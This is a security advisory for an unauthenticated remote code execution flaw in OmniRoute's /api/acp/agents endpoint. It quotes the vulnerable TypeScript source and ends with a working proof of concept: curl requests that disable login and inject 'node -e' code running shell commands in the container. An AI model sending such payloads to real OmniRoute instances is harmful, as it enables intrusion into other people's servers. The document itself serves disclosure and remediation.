PT-2026-89691 · Npm · Omniroute

Publicado

2026-09-10

·

Atualizado

2026-09-10

CVSS v4.0

9.5

Crítica

VetorAV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

2. Summary

POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled binary and versionCommand values. After saving the custom agent, the same request calls refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:
ts
execFileSync(probe.command, probe.args, ...)
The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the first token of versionCommand matches the request-provided binary. Because binary is also attacker-controlled, an attacker can submit:
json
{
 "binary": "node",
 "versionCommand": "node -e "...arbitrary JavaScript...""
}
This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via child process.execSync().
When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the same time, /api/acp/ is not included in LOCAL ONLY API PREFIXES or SPAWN CAPABLE PREFIXES, so the endpoint is not blocked by the LOCAL ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request.

3. Preconditions

The unauthenticated exploit is reachable in either of the following scenarios:
  1. The target instance has requireLogin=false. This is the primary scenario covered by this report and by the reproduction steps below.
  2. A fresh instance has no management password configured yet. During this bootstrap window, /api/settings/require-login allows unauthenticated setup writes, so an attacker can first set requireLogin=false and then call the vulnerable endpoint.
If the instance is in the default requireLogin=true state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here.

4. Technical Analysis

4.1 The Endpoint Accepts User-Controlled Command Fields

src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary, versionCommand, and spawnArgs:
ts
const customAgentBodySchema = z.object({
 action: z.string().optional(),
 id: z.string().optional(),
 name: z.string().optional(),
 binary: z.string().optional(),
 versionCommand: z.string().optional(),
 providerAlias: z.string().optional(),
 spawnArgs: z.array(z.string()).optional(),
 protocol: z.enum(["stdio", "http"]).optional(),
});
The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():
ts
export async function POST(request: Request) {
 if (!(await isAuthenticated(request))) {
  return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
 }
The handler then stores binary and versionCommand in the custom agent definition without an executable allowlist:
ts
const newAgent: CustomAgentDef = {
 id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
 name,
 binary,
 versionCommand,
 providerAlias: providerAlias || id,
 spawnArgs: spawnArgs || [],
 protocol: protocol || "stdio",
};
This logic is in src/app/api/acp/agents/route.ts:92-100.

4.2 The Only Guard Is a Self-Consistency Check

The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:
ts
if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
 return NextResponse.json(
  { error: "Invalid versionCommand: use the configured binary with plain arguments only" },
  { status: 400 }
 );
}
The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:
ts
export function resolveVersionProbe(
 binary: string,
 versionCommand: string,
 requireBinaryMatch = false
): { command: string; args: string[] } | null {
 const tokens = tokenizeVersionCommand(versionCommand);
 if (!tokens) {
  return null;
 }

 const [command, ...args] = tokens;
 if (!command) {
  return null;
 }

 if (requireBinaryMatch) {
  const normalizedCommand = normalizeCommandToken(command);
  const allowed = new Set([
   normalizeCommandToken(binary),
   normalizeCommandToken(path.basename(binary)),
  ]);
  if (!allowed.has(normalizedCommand)) {
   return null;
  }
 }

 return { command, args };
}
This check only requires the first token of versionCommand to equal binary or path.basename(binary). Since binary is also attacker-controlled, binary="node" and versionCommand="node -e "..."" pass validation.
tokenizeVersionCommand() only blocks a small set of shell metacharacters (src/lib/acp/registry.ts:183-254):
ts
const DISALLOWED VERSION COMMAND CHARS = /[;&|<>`$r
]/;
This does not prevent node -e code execution, because characters needed for the payload, such as (, ), ', ., /, ,, and spaces, are allowed.

4.3 The Same Request Immediately Triggers Command Execution

After saving the custom agent, the route calls refreshAgentCache() at src/app/api/acp/agents/route.ts:121-127:
ts
const updated = [...current, newAgent];
await updateSettings({ customAgents: updated });
setCustomAgents(updated);

const agents = refreshAgentCache();
return NextResponse.json({ agents, added: newAgent });
refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:
ts
export function refreshAgentCache(): CliAgentInfo[] {
  cachedAgents = null;
 return detectInstalledAgents();
}
detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one (src/lib/acp/registry.ts:342-360):
ts
const allDefs = [
 ...AGENT DEFINITIONS.map((d) => ({ ...d, custom: false })),
 ... customAgentDefs.map((d) => ({ ...d, custom: true })),
];

 cachedAgents = allDefs.map((def) => {
 const { custom, ...rest } = def;
 return detectAgent(rest, custom);
});
The command execution sink is at src/lib/acp/registry.ts:307-325:
ts
const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
if (!probe) {
 return { ...def, version, installed, isCustom };
}

const output = execFileSync(probe.command, probe.args, {
 timeout: 5000,
 encoding: "utf-8",
 stdio: ["pipe", "pipe", "pipe"],
 ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
}).trim();
On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms (src/lib/acp/registry.ts:290-301):
ts
export function shouldUseShellForVersionProbe(
 command: string,
 platform = process.platform
): boolean {
 if (platform !== "win32") return false;
 ...
}
Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell metacharacters are required.

4.4 Why This Is Unauthenticated

isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:
ts
export async function isAuthenticated(request: Request): Promise<boolean> {
 if (!(await isAuthRequired(request))) {
  return true;
 }
 ...
}
isAuthRequired() returns false when requireLogin=false (src/shared/utils/apiAuth.ts:317-323):
ts
const settings = await getSettings();
if (settings.requireLogin === false) return false;
The centralized management policy also has the same anonymous allow branch at src/server/authz/policies/management.ts:223-226:
ts
if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
 return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
}
Routes that can start local subprocesses should be blocked by the LOCAL ONLY policy first. src/server/authz/routeGuard.ts:29-45 lists LOCAL ONLY prefixes such as /api/mcp/, /api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but it does not include /api/acp/:
ts
export const LOCAL ONLY API PREFIXES: ReadonlyArray<string> = [
 "/api/mcp/",
 "/api/cli-tools/runtime/",
 "/api/services/",
 "/dashboard/providers/services/",
 "/api/copilot/",
 "/api/tools/agent-bridge/",
 "/api/tools/traffic-inspector/",
 "/api/plugins/",
 "/api/plugins",
 "/api/system/version",
 "/api/db-backups/exportAll",
 "/api/local/",
 "/api/headroom/start",
 "/api/headroom/stop",
 "/api/oauth/cursor/auto-import",
];
SPAWN CAPABLE PREFIXES also omits /api/acp/ (src/shared/constants/spawnCapablePrefixes.ts:26-35).
This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead of being rejected by the LOCAL ONLY gate.

5. Reproduction Environment

The issue can be reproduced in a local Docker environment:
  • OmniRoute image: diegosouzapw/omniroute:latest
  • Exposed port: 20128
  • Container data directory: /app/data
  • PoC behavior: runs only read-only commands (id and uname -a) and writes their output to /app/data/UNAUTH RCE PROOF.txt

6. Reproduction Steps

6.1 Start a Test Instance

bash
JWT=$(openssl rand -base64 48)
AKS=$(openssl rand -hex 32)

docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net 
 -p 20128:20128 -p 20129:20129 
 -e JWT SECRET="$JWT" 
 -e API KEY SECRET="$AKS" 
 -e REDIS URL="redis://omniroute-poc-redis:6379" 
 diegosouzapw/omniroute:latest
Wait for startup:
bash
until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || 
   curl -sf http://localhost:20128/ >/dev/null 2>&1; do
 sleep 2
done

6.2 Put the Instance in the Login-Disabled State

This step models a self-hosted instance where dashboard login has been disabled:
bash
curl -s -X POST "http://localhost:20128/api/settings/require-login" 
 -H "content-type: application/json" 
 -d '{"requireLogin":false}'
If the target is already in requireLogin=false, this step is not needed.

6.3 Trigger RCE Anonymously

The following request sends no cookie and no Bearer token:
bash
curl -s -X POST "http://localhost:20128/api/acp/agents" 
 -H "content-type: application/json" 
 -d '{
  "id":"anonrce",
  "name":"anonrce",
  "binary":"node",
  "protocol":"stdio",
  "versionCommand":"node -e "require('''fs''').writeFileSync('''/app/data/UNAUTH RCE PROOF.txt''',require('''child process''').execSync('''id''').toString()+require('''child process''').execSync('''uname -a''').toString())""
 }'

6.4 Verify Command Execution

bash
docker exec omniroute-poc cat /app/data/UNAUTH RCE PROOF.txt
Expected output is similar to:
text
uid=1000(node) gid=1000(node) groups=1000(node)
Linux <container-id> <kernel-version> ... <arch> GNU/Linux
This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute container.
image

Correção

Missing Authentication

Code Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-HF57-CQMX-P4GR

Produtos afetados

Omniroute